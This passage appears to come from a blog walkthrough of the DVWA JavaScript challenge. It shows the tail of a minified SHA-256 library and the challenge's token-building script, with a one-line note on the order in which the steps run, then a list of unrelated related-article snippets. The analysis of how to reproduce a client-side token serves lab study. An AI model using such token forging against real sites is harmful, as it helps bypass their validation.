13) | (c << 19)) ^ ((c >>> 22) | (c << 10));s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));cd = c & d;maj = cd ^ (c & a) ^ da;ch = (g & h) ^ (~g & e);t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];t2 = s0 + maj;f = b + t1 << 0;b = t1 + t2 << 0;s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));bc = b & c;maj = bc ^ (b & d) ^ cd;ch = (f & g) ^ (~f & h);t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];t2 = s0 + maj;e = a + t1 << 0;a = t1 + t2 << 0}this.h0 = this.h0 + a << 0;this.h1 = this.h1 + b << 0;this.h2 = this.h2 + c << 0;this.h3 = this.h3 + d << 0;this.h4 = this.h4 + e << 0;this.h5 = this.h5 + f << 0;this.h6 = this.h6 + g << 0;this.h7 = this.h7 + h << 0};Sha256.prototype.hex = function() {this.finalize();var h0 = this.h0,h1 = this.h1,h2 = this.h2,h3 = this.h3,h4 = this.h4,h5 = this.h5,h6 = this.h6,h7 = this.h7;var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];if (!this.is224) {hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]}return hex};Sha256.prototype.toString = Sha256.prototype.hex;Sha256.prototype.digest = function() {this.finalize();var h0 = this.h0,h1 = this.h1,h2 = this.h2,h3 = this.h3,h4 = this.h4,h5 = this.h5,h6 = this.h6,h7 = this.h7;var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];if (!this.is224) {arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)}return arr};Sha256.prototype.array = Sha256.prototype.digest;Sha256.prototype.arrayBuffer = function() {this.finalize();var buffer = new ArrayBuffer(this.is224 ? 28 : 32);var dataView = new DataView(buffer);dataView.setUint32(0, this.h0);dataView.setUint32(4, this.h1);dataView.setUint32(8, this.h2);dataView.setUint32(12, this.h3);dataView.setUint32(16, this.h4);dataView.setUint32(20, this.h5);dataView.setUint32(24, this.h6);if (!this.is224) {dataView.setUint32(28, this.h7)}return buffer};function HmacSha256(key, is224, sharedMemory) {var i, type = typeof key;if (type === 'string') {var bytes = [],length = key.length,index = 0,code;for (i = 0; i < length; ++i) {code = key.charCodeAt(i);if (code < 0x80) {bytes[index++] = code} else if (code < 0x800) {bytes[index++] = (0xc0 | (code >> 6));bytes[index++] = (0x80 | (code & 0x3f))} else if (code < 0xd800 || code >= 0xe000) {bytes[index++] = (0xe0 | (code >> 12));bytes[index++] = (0x80 | ((code >> 6) & 0x3f));bytes[index++] = (0x80 | (code & 0x3f))} else {code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));bytes[index++] = (0xf0 | (code >> 18));bytes[index++] = (0x80 | ((code >> 12) & 0x3f));bytes[index++] = (0x80 | ((code >> 6) & 0x3f));bytes[index++] = (0x80 | (code & 0x3f))}}key = bytes} else {if (type === 'object') {if (key === null) {throw new Error(ERROR)} else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {key = new Uint8Array(key)} else if (!Array.isArray(key)) {if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {throw new Error(ERROR)}}} else {throw new Error(ERROR)}}if (key.length > 64) {key = (new Sha256(is224, true)).update(key).array()}var oKeyPad = [],iKeyPad = [];for (i = 0; i < 64; ++i) {var b = key[i] || 0;oKeyPad[i] = 0x5c ^ b;iKeyPad[i] = 0x36 ^ b}Sha256.call(this, is224, sharedMemory);this.update(iKeyPad);this.oKeyPad = oKeyPad;this.inner = true;this.sharedMemory = sharedMemory}HmacSha256.prototype = new Sha256();HmacSha256.prototype.finalize = function() {Sha256.prototype.finalize.call(this);if (this.inner) {this.inner = false;var innerHash = this.array();Sha256.call(this, this.is224, this.sharedMemory);this.update(this.oKeyPad);this.update(innerHash);Sha256.prototype.finalize.call(this)}};var exports = createMethod();exports.sha256 = exports;exports.sha224 = createMethod(true);exports.sha256.hmac = createHmacMethod();exports.sha224.hmac = createHmacMethod(true);if (COMMON_JS) {module.exports = exports} else {root.sha256 = exports.sha256;root.sha224 = exports.sha224;if (AMD) {define(function() {return exports})}}
})();function do_something(e) {for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];return t
}
function token_part_3(t, y = "ZZ") {document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

执行part1,然后延迟300ms执行part2,点击按钮执行part3

在这里插入图片描述

相关文章:

DVWA靶场通关和源码分析

文章目录一、Brute Force1.low2、medium3、High4、Impossible二、Command Injection1、Low2、Medium3、High三、CSRF1、Low2、Medium3、High4、Impossible四、File Inclusion1、Low2、Medium3、High五、File Upload1、Low2、Medium3、High4、Impossible六、 SQL注入1、Low2、Me…...

RocketMQ5.0.0消息存储<二>_消息存储流程

目录 一、消息存储概览 二、Broker接收消息 三、消息存储流程 1. DefaultMessageStore类 2. 存储流程 1)&#xff1a;同步与异步存储 2)&#xff1a;CommitLog异步存储消息 3)&#xff1a;提交消息&#xff08;Commit&#xff09; 四、参考资料 一、消息存储概览 如下图所…...

【单片机方案】蓝牙体温计方案介绍

蓝牙体温计方案的工作原理利用了温度传感器输出电信号&#xff0c;直接输出数字信号或者再将电流信号(模拟信号)转换成能够被内部集成的电路识别的数字信号&#xff0c;然后通过显示器(如液晶、数码管、LED矩阵等)显示以数字形式的温度&#xff0c;能记录、读取被测温度的最高值…...

React 的受控组件和非受控组件有什么不同

大家好&#xff0c;我是前端西瓜哥&#xff0c;今天我们来看看 React 的受控组件和非受控组件有什么不同。 受控组件 受控组件&#xff0c;指的是将表单元素的值交给组件的 state 来保存。 例子&#xff1a; import ./styles.css import { useState } from reactconst App …...

【逐步剖C】-第六章-结构体初阶

一、结构体的声明 1. 结构体的基本概念 结构体是一些值的集合&#xff0c;这些值称为成员变量。结构体的每个成员可以是不同类型的变量。结构体使得C语言有能力描述复杂类型。 如学生&#xff0c;有姓名、学号、性别等&#xff1b;如书&#xff0c;有作者&#xff0c;出版日期…...

Java 并发在项目中的使用场景

1、并发编程的三个核心问题&#xff1a;&#xff08;1&#xff09;分工&#xff1a;所谓分工指的是如何高效地拆解任务并分配给线程&#xff08;2&#xff09;同步&#xff1a;而同步指的是线程之间如何协作&#xff08;3&#xff09;互斥&#xff1a;互斥则是保证同一时刻只允…...

15.面向对象程序设计

文章目录面向对象程序设计15.1OOP&#xff1a;概述继承动态绑定15.2定义基类和派生类15.2.1定义基类成员函数与继承访问控制与继承15.2.2定义派生类派生类对象及派生类向基类的类型转换派生类构造函数派生类使用基类的成员继承与静态成员派生类的声明被用作基类的类防止继承的发…...

Element UI框架学习篇(一)

Element UI框架学习篇(一) 1.准备工作 1.1 下载好ElementUI所需要的文件 ElementUI官网 1.2 插件的安装 1.2.1 更改标签的时实现自动修改 1.2.2 element UI提示插件 1.3 使用ElementUI需要引入的文件 <link rel"stylesheet" href"../elementUI/element…...

【算法】【C语言】

差分算法力扣1094题目描述学习代码思考力扣1094 题目描述 车上最初有 capacity 个空座位。车 只能 向一个方向行驶&#xff08;也就是说&#xff0c;不允许掉头或改变方向&#xff09; 给定整数 capacity 和一个数组 trips , trip[i] [numPassengersi, fromi, toi] 表示第 …...

【✨十五天搞定电工基础】基本放大电路

本章要求1. 理解放大电路的放大作用和共发射极放大电路的性能特点&#xff1b; 2. 掌握静态工作点的估算方法和放大电路的微变等效电路分析法&#xff1b; 3. 了解放大电路输入、输出电阻和电压放大倍数的计算方法&#xff0c;了解放大电路的频率特性、 互补功率放大…...

MyBatis 入门教程详解

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…...

shiro、springboot、vue、elementUI CDN模式前后端分离的权限管理demo 附源码

shiro、springboot、vue、elementUI CDN模式前后端分离的权限管理demo 附源码 源码下载地址 https://github.com/Aizhuxueliang/springboot_shiro.git 前提你电脑的安装好这些工具&#xff1a;jdk8、idea、maven、git、mysql&#xff1b; shiro的主要概念 Shiro是一个强大…...

智能优化算法——粒子群优化算法(PSO)(小白也能看懂)

前言&#xff1a; 暑假期间&#xff0c;因科研需要&#xff0c;经常在论文中看到各种优化算法&#xff0c;所以自己学习了一些智能优化的算法&#xff0c;做了一些相关的纸质性笔记&#xff0c;寒假一看感觉又有点遗忘了&#xff0c;并且笔记不方便随时查看&#xff0c;所以希…...

Lesson 6.4 逻辑回归手动调参实验

文章目录一、数据准备与评估器构造1. 数据准备2. 构建机器学习流二、评估器训练与过拟合实验三、评估器的手动调参在补充了一系列关于正则化的基础理论以及 sklearn 中逻辑回归评估器的参数解释之后&#xff0c;接下来&#xff0c;我们尝试借助 sklearn 中的逻辑回归评估器&…...

Oracle数据库入门大全

oracle数据库 Oracle 数据库、实例、用户、表空间、表之间的关系 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pSv0SArH-1675906973035)(vx_images/573695710268888.png 676x)] 数据库 数据库是数据集合。Oracle是一种数据库管理系统&#xff…...

C语言操作符详解(下)

提示&#xff1a;本篇内容是C语言操作符详解下篇 文章目录前言八、条件表达式九、逗号表达式十、 下标引用、函数调用和结构成员1. [ ] 下标引用操作符2. ( ) 函数调用操作符3.结构成员访问操作符十一、表达式求值1. 隐式类型转换举例说明1举例说明2举例说明32.算数转换3.操作…...

【五六七人口普查】我国省市两级家庭户住房状况

人口数据是我们在各项研究中最常使用的数据&#xff01;之前我们分享过第七次人口普查&#xff08;简称七普&#xff09;的数据&#xff01;很多小伙伴拿到数据后都反馈数据非常好用&#xff0c;同时很多小伙伴咨询有没有前面几次人口普查的数据&#xff0c;这样方便做人口变化…...

大数据框架之Hadoop:入门(二)从Hadoop框架讨论大数据生态

第2章 从Hadoop框架讨论大数据生态 2.1 Hadoop是什么 Hadoop是一个由Apache基金会所开发的分布式系统基础架构。主要解决&#xff0c;海量数据的存储和海量数据的分析计算问题。广义上来说&#xff0c;Hadoop通常是指一个更广泛的概念-Hadoop生态圈。 2.2 Hadoop发展历史 1&…...

负载均衡反向代理下的webshell上传+apache漏洞

目录一、负载均衡反向代理下的webshell上传1、nginx 负载均衡2、搭建环境3、负载均衡下的 WebShell连接的难点总结难点一、需要在每一台节点的相同位置都上传相同内容的 WebShell难点二、无法预测下次的请求交给哪台机器去执行。难点三、下载文件时&#xff0c;可能会出现飘逸&…...

打造安全可信的通信服务,阿里云云通信发布《短信服务安全白皮书》

随着数字化经济的发展&#xff0c;信息保护和数据安全成为企业、个人关注的焦点。近日&#xff0c;阿里云云通信发布《短信服务安全白皮书》&#xff0c;该白皮书包含安全责任共担、安全合规、安全架构三大板块&#xff0c;呈现了阿里云云通信在信息安全保护方面的技术能力、安…...

【WiFi帧结构】

文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成&#xff1a;MAC头部frame bodyFCS&#xff0c;其中MAC是固定格式的&#xff0c;frame body是可变长度。 MAC头部有frame control&#xff0c;duration&#xff0c;address1&#xff0c;address2&#xff0c;addre…...

基于数字孪生的水厂可视化平台建设:架构与实践

分享大纲&#xff1a; 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年&#xff0c;数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段&#xff0c;基于数字孪生的水厂可视化平台的…...

在Ubuntu中设置开机自动运行(sudo)指令的指南

在Ubuntu系统中&#xff0c;有时需要在系统启动时自动执行某些命令&#xff0c;特别是需要 sudo权限的指令。为了实现这一功能&#xff0c;可以使用多种方法&#xff0c;包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法&#xff0c;并提供…...

MySQL 8.0 OCP 英文题库解析(十三)

Oracle 为庆祝 MySQL 30 周年&#xff0c;截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始&#xff0c;将英文题库免费公布出来&#xff0c;并进行解析&#xff0c;帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...

Java多线程实现之Thread类深度解析

Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

git: early EOF

macOS报错&#xff1a; Initialized empty Git repository in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/ remote: Enumerating objects: 2691797, done. remote: Counting objects: 100% (1760/1760), done. remote: Compressing objects: 100% (636/636…...

WebRTC调研

WebRTC是什么&#xff0c;为什么&#xff0c;如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...

Appium下载安装配置保姆教程(图文详解)

目录 一、Appium软件介绍 1.特点 2.工作原理 3.应用场景 二、环境准备 安装 Node.js 安装 Appium 安装 JDK 安装 Android SDK 安装Python及依赖包 三、安装教程 1.Node.js安装 1.1.下载Node 1.2.安装程序 1.3.配置npm仓储和缓存 1.4. 配置环境 1.5.测试Node.j…...

「Java基本语法」变量的使用

变量定义 变量是程序中存储数据的容器&#xff0c;用于保存可变的数据值。在Java中&#xff0c;变量必须先声明后使用&#xff0c;声明时需指定变量的数据类型和变量名。 语法 数据类型 变量名 [ 初始值]; 示例&#xff1a;声明与初始化 public class VariableDemo {publi…...

学习 Hooks【Plan - June - Week 2】

一、React API React 提供了丰富的核心 API&#xff0c;用于创建组件、管理状态、处理副作用、优化性能等。本文档总结 React 常用的 API 方法和组件。 1. React 核心 API React.createElement(type, props, …children) 用于创建 React 元素&#xff0c;JSX 会被编译成该函数…...